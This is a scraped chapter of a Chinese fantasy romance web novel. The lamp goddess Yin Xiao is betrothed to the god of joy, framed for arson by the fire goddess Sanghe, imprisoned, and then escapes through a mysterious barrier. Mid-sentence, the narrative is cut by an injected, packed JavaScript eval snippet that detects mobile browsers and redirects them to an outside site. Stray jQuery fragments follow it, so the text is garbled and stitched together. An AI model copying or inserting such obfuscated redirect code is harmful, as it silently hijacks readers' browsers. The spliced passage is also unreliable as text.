默认冷灰
24号文字
方正启体

1. 构陷

作者:慕白长安本书字数:K更新时间:
    天光落在洗尘台时,殷宵正在炼灯。这是今日的第九十九盏,炼完便可收工。


    炉中焰火已经凝成灯盏的形状,只差最后一道神息渡进去,它便能亮起来,落入凡间,照亮一方不知名的暗处。


    “殷宵。”


    殷宵没回头,她听到脚步声就知道是谁。


    火神桑禾。


    玄清境上只有她会把洗尘台的地面踩出火星子,每一步都像是在跟谁较劲。


    “神帝召见。”桑禾走到她身侧,语气里压着点不满:“赐婚的旨意下来了。”


    殷宵摆弄灯盏的手顿了一下。


    那盏灯的火苗晃了晃,险些熄了。她垂下眼,将最后一道神息渡进去,看到它稳稳亮起,才淡淡开口:“知道了。”


    “你就这个反应?”


    殷宵抬头清清冷冷地将她一看。


    桑禾站在日光里,一身火红的神炮灼得她眼疼。她生得好看,眉眼里全是张扬的艳色,此刻那抹艳色里正装着一点妒忌,或者说是愤恨。


    “你想要什么反应?”殷宵不浓不淡地应了句,再把炼好的灯收入袖中,“逢人便笑?还是千恩万谢地哭一场?”


    桑禾被她的话噎住,脸瞬间涨红。


    殷宵绕过她,往洗尘台下走。走出几步,她听见身后桑禾咬着牙说:“你就得意吧!赐婚的是喜神又怎样?你以为他真能看上你?”


    殷宵头也不回,脚步未停。


    她不在意桑禾说什么。


    父神战死后,神帝曾说过要从神族中选一位神君之女接入紫英宫抚养。桑禾是神后最宠爱的表侄女,所有人都以为会是她。


    但神帝最后选了殷宵。


    桑禾的族人私下议论,说丹烨战神在世时曾打压牧族,抢了他们的军功。如今丹烨死了,他的女儿还要抢牧族的位置。


    殷宵不知道这些是不是真的。她只知道,从那以后,桑禾看她的眼神就变了。


    罢了,神帝在清辉殿等她。


    今日,清辉殿穹顶的天光格外明亮,照得整座殿宇金碧辉煌。两侧的纱幔被金线重新绣了边,在光里泛着淡淡的辉茫。


    众神肃立,庄严隆重。中间那条通道上仅有一人站着,神帝坐在尽头的御座上。


    殷宵进殿时,第一眼就看到了站在殿中的那个人。


    冥鄞。


    神帝的次子,神界的喜神,现在还多了个名号。


    灯神殷宵的未婚夫。


    清辉殿的天光从穹顶倾泻而下,恰到好处地落在他暖金色的神袍上,将他的身影镀上了一层淡淡的金光,那束光仿佛从他身上逆着映出,扑洒在神殿内。


    他眉眼温润,周身气息像春日暖阳,温柔又夺目。


    桑禾跟在她身后进来,脚步忽然轻了。


    “殷宵。”神帝肃穆的声音从御座上传来,“这是赐婚的旨意,你看看。”


    一卷金帛轻轻地落在她的面前。殷宵展开,目光粗略地扫过那些华丽的辞藻,最后落在末尾的两个字上:冥鄞。


    阅毕,她侧过头,目光平静地看向身旁的人。


    冥鄞恰好也在看她。


    礼貌又疏离的目光极快地掠过,像是怕多停留一瞬就会被谁看穿。


    但殷宵总觉得他的视线在她脸上顿了一下。


    他看起来没有情愿,也没有不情愿,只是在等她一道行礼。


    殷宵半垂眼帘,屈膝颔首,恭敬道:“殷宵领旨。”


    起身时,她余光瞥见桑禾的神色。


    桑禾的脸白了一瞬,然后慢慢涨红,红得像是要滴出血来。她的手掩于袖衫下,似是攒紧了,袖衫一阵一阵地抖着,像是快要被抠破。


    殷宵不着痕迹地收回目光,这回她总算是明白桑禾这次为何如此生气,原来她喜欢冥鄞。


    三日后,殷宵头一次觉得,“喜欢”也是一件令人非常糟心的事情。


    那夜殷宵正在殿中翻阅灯谱。灯谱是父神的遗物,上面的每一页都记载着每一盏灯的去向。


    院外忽然响起了喧哗声:“走水了!走水了!”


    殷宵起身推门,看见西边的天空烧成一片通红,那是桑禾寝殿的方向。


    火光冲天,烧得半边天都亮了,火星子噼里啪啦地往下掉,像是一场倒着下的雨。


    她眉头一皱,正要往那边去,却被一队天兵拦住了去路。


    “灯神大人,”为首的天将面色凝重,“神帝有旨,请您暂留殿中,不得外出。”


    “但是那边走水了——”


    天将冷漠地重复:“请您暂留殿中。”


    半个时辰后,殷宵知道了原委。


    桑禾的脸毁了。


    那场大火烧了她的寝殿,也毁了她的半张脸。火神被火烧伤,本就是一个天大的笑话,但桑禾说,那并非意外。


    “是殷宵。”桑禾跪在神帝面前,半边脸裹着白帛,露出的那只眼睛里满是泪水,“她来我殿中,说要与我说话……我转身去取茶,她便动了手。神帝可要为我做主啊……”


    神帝沉默了很久。


    殷宵被押上殿时,桑禾还跪在那里。


    她抬起那只没有被烧伤的眼睛,得意地望向殷宵。那抹得意很淡,一闪而过,神帝不会发现。


    殷宵开口,声音很平:“证据呢?”


    “我就是人证!”桑禾哭着垂下头,从袖中取出一样东西,“这便是物证!”


    她取出的是一盏灯。


    那盏灯很拙,不亮,灯盏上有一道细细的裂纹,裂纹里印着模糊的字迹。


    殷宵看了半晌,终于认出来那是自己炼废的灯,早就不知道丢去哪里了,竟然被桑禾捡到了。


    “这是在你殿中寻到的。”桑禾把灯举高,声音里带着颤抖,“灯上有我的气息,有火灼的痕迹……殷宵,你我一同长大,相识多年,你为何要这般对我?”


    殷宵只觉得这罪名安得有些好笑。


    她望向神帝,神帝坐在殿上,目光沉沉,辨不出喜怒。目光一转,冥鄞站在一旁,正皱着眉头看着桑禾那只流泪的眼睛。


    心疼桑禾了?那更不会帮她了。


    还有桑禾的那些族人,七嘴八舌地嚷嚷着要她给出一个交代。


    殷宵的眸光渐渐黯淡下去,她拱手作礼,平静道:“殷宵无话可说。”


    神帝的判决来得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543856|204036||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    很快。将殷宵押去监牢思过,待查明真相,再做处置。


    监牢在玄清境最深处。


    牢将把她推进一间石室里,铁门在身后轰然关上。四壁漆黑,只有头顶一孔天窗漏下些微光。


    殷宵在墙角坐下,把脸埋进膝间。


    她忽然很想念父神。想念那些她从未见过的,只活在旁人描述里的族人面容。若是他们还活着,她是不是就不会这般孤立无援了?


    父神战死那日,燃尽神骨,烧穿了魔渊的天顶。他留给殷宵的,是一盏熄了的长明灯,还有一本写满了字迹的灯谱。


    殷宵从袖中摸出那盏刚炼好的灯,还没来得及送出去。灯焰在她掌心燃起,照亮了这一小方黑暗。


    她看着那团温润的光,思绪沉沉。


    门外忽然有了动静。很多的脚步声,又急又快。


    殷宵收起灯,谨慎地抬起头盯着门外。


    门被推开,月光透进来,照出一个人的轮廓。


    桑禾站在门口,脸上的白帛已经取下了,那张脸完好如初。


    她缓步踏来,脚步声轻得像猫,掌心里忽地燃起一蹙火,火光映出她脸上得意的笑。


    “意外吗?”她笑问着俯身靠近:“都说了让你不要那么得意。”


    火舌凶猛地舔过来时,殷宵动了。


    她没有往后躲,而是往前扑。桑禾没料到她敢还手,愣了一瞬,被殷宵一把攒住手腕。


    桑禾掌心的火爬上殷宵的皮肤,烧得滋滋作响,但她没有松手。


    殷宵冷笑连连,“桑禾,你是不是忘了我父神是谁?”


    桑禾脸色大变。


    战神丹烨,死前燃尽神骨,魔渊数千万叛灵无一生还。


    他的女儿,只会炼灯吗?


    殷宵掌风凝火,狠狠往她脸上一压,再一脚踹在她膝弯上,桑禾惨叫着跪倒。她顺势夺门而出,身后传来牢将的呼喝声和急促的脚步声。


    她只当听不到,拼命地往前跑。


    桑禾带这么多人来,定是没想让她活着出去。


    监牢深处,岔路越来越多,周遭也越来越黑。身后的追兵声渐渐远了,可殷宵也迷路了。这里黑得伸手不见五指,黑得她几乎怀疑自己瞎了。


    她不知道自己跑了多久,也不知道跑到了哪里,只知道四周越来越安静,安静到她分明已经抑制过的呼吸声都能清清楚楚地落入耳朵里。


    忽然,她撞上了一道看不见的墙。


    再一细摸,殷宵发现了那不是墙,那是一道结界。


    结界的力量柔和地推拒着她,带着一丝奇异的暖意在周遭释放着。像是很久以前,父神抱着她时,掌心贴在她后背的温度。


    殷宵愣了一瞬。她伸出手,试探着触碰那道结界。


    光芒从她掌心涌出,那结界忽然颤了一颤,似是在迎接她。


    紧接着,她穿了过去。


    三日后,监牢传来消息。


    灯神殷宵畏罪自焚,火烧监牢,神躯化为灰烬飘散于监牢深处的永劫之地。神帝震怒,遣天将彻查此事。


    沧海桑田,一百年过去,洗尘台上灯神殷宵的牌位已经被深灰掩埋。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)